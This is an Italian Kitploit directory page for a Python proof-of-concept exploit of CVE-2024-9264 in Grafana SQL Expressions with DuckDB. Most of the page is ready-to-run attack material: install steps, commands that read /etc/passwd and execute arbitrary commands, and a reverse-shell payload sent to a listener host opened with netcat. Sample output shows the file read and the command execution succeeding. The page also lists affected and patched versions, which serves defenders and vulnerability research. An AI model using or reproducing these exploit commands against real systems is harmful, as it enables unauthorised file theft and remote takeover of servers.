Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Strumenti/GitHubGitHub/ozcanpng/cve-2024-9264
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e Formazione
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Vedi Repository
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-9264 - PoC LFI/RCE per le SQL Expressions DuckDB di Grafana

Proof of concept in Python per CVE-2024-9264, una vulnerabilità delle SQL Expressions di Grafana che può consentire l'inclusione locale di file e l'esecuzione di comandi autenticati quando duckdb è disponibile nel PATH del processo Grafana.

Solo per test autorizzati e ricerca. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.


Cosa fa

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. Invia una richiesta autenticata all'endpoint di query del datasource SQL Expressions di Grafana.
  2. Legge i file con DuckDB read_blob(). Se viene richiesta l'esecuzione di comandi, /etc/passwd viene usato come file di validazione predefinito.
  3. Carica opzionalmente DuckDB shellfs ed esegue un comando tramite una chiamata supportata da pipe.
Scarica lo strumento
read_csv()
  • Legge l'output del comando da /tmp/cve_2024_9264_out e stampa il risultato decodificato.
  • L'endpoint vulnerabile può essere chiamato direttamente tramite API; non è richiesta l'interazione con la UI della dashboard. L'autenticazione è comunque richiesta.


    Screenshot

    Esecuzione di comandi

    Prova di esecuzione comandi

    Payload di Reverse Shell

    Consegna payload reverse shell

    Listener di Reverse Shell

    Listener reverse shell


    Installazione

    root@kitploit:~
    git clone https://github.com/ozcanpng/CVE-2024-9264.git
    cd CVE-2024-9264
    python3 -m pip install -r requirements.txt
    

    Utilizzo

    Lettura di File

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
    

    Quando si usa --file da solo, lo script legge direttamente quel file e stampa il contenuto decodificato nella sezione dei risultati della lettura file.

    Esecuzione di Comandi

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
    

    Lo script esegue prima una validazione predefinita di lettura di /etc/passwd, quindi consegna il payload del comando. Nella sezione dei risultati stampa l'output decodificato del comando invece della risposta JSON grezza di Grafana.

    Reverse Shell

    Avvia un listener:

    root@kitploit:~
    rlwrap nc -lvnp 4444
    

    Invia il payload della reverse shell:

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
    

    Dry Run

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
    

    Debug

    root@kitploit:~
    python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
    

    Opzioni

    Queste opzioni si basano sulla CLI attuale dello script:

    root@kitploit:~
    -u, --url, --target TARGET
                            Target URL, e.g. http://localhost:3000
    --username USERNAME     Grafana username. Default: admin
    --password PASSWORD     Grafana password. Default: admin
    --file FILE             File path to read. Default proof path: /etc/passwd
    --expected-marker MARKER
                            Marker expected in file read response. Default: root:
    --cmd CMD               Command to execute through the DuckDB shellfs path
    --reverse-shell         Run a bash reverse shell payload
    --lhost LHOST           Listener host for --reverse-shell
    --lport LPORT           Listener port for --reverse-shell
    --timeout TIMEOUT       HTTP timeout in seconds. Default: 20
    --verify-tls            Verify TLS certificates. Default: enabled
    -k, --insecure          Disable TLS certificate verification
    --dry-run               Print target and payload metadata without sending requests
    --debug                 Print request debugging metadata
    

    Output di Esempio

    Lettura File

    root@kitploit:~
    [STEP 2] File Read Result
    --------------------------------------------------------------------
    [*] File path    : /etc/passwd
    [*] HTTP status  : 200
    [+] File content read successfully.
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    grafana:x:472:0::/home/grafana:/usr/sbin/nologin
    

    Esecuzione Comandi

    root@kitploit:~
    [STEP 4] Result
    --------------------------------------------------------------------
    [*] HTTP status  : 200
    [+] Payload accepted by Grafana.
    uid=472(grafana) gid=0(root) groups=0(root)
    

    Versioni Affette

    ProdottoVersione AffettaAccesso RichiestoImpatto
    Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x e 11.2.x precedenti alle release di sicurezza corretteViewer o superioreInclusione locale di file e injection di comandi quando DuckDB è presente nel PATH di Grafana

    Grafana segnala che lo sfruttamento richiede che il binario duckdb sia presente nel PATH del processo Grafana; le distribuzioni normali di Grafana non installano DuckDB per impostazione predefinita.


    Note

    • Sono richieste credenziali Grafana valide.
    • L'account deve avere permessi di Viewer o superiori.
    • Lo sfruttamento diretto tramite API non significa sfruttamento non autenticato; le richieste richiedono comunque una sessione valida o credenziali Basic Auth.
    • La lettura dei file viene usata come primo step di validazione prima dell'esecuzione dei comandi.
    • L'esecuzione dei comandi dipende da DuckDB e dal comportamento dell'estensione shellfs nell'ambiente target.
    • Per target TLS con certificati autofirmati, usa -k o --insecure.
    • Le release di sicurezza corrette includono Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.

    Riferimenti

    • Advisory Grafana - CVE-2024-9264
    • Blog release di sicurezza Grafana
    • NVD - CVE-2024-9264

    Autore

    ozcanpng - github.com/ozcanpng - ozcanpng.dev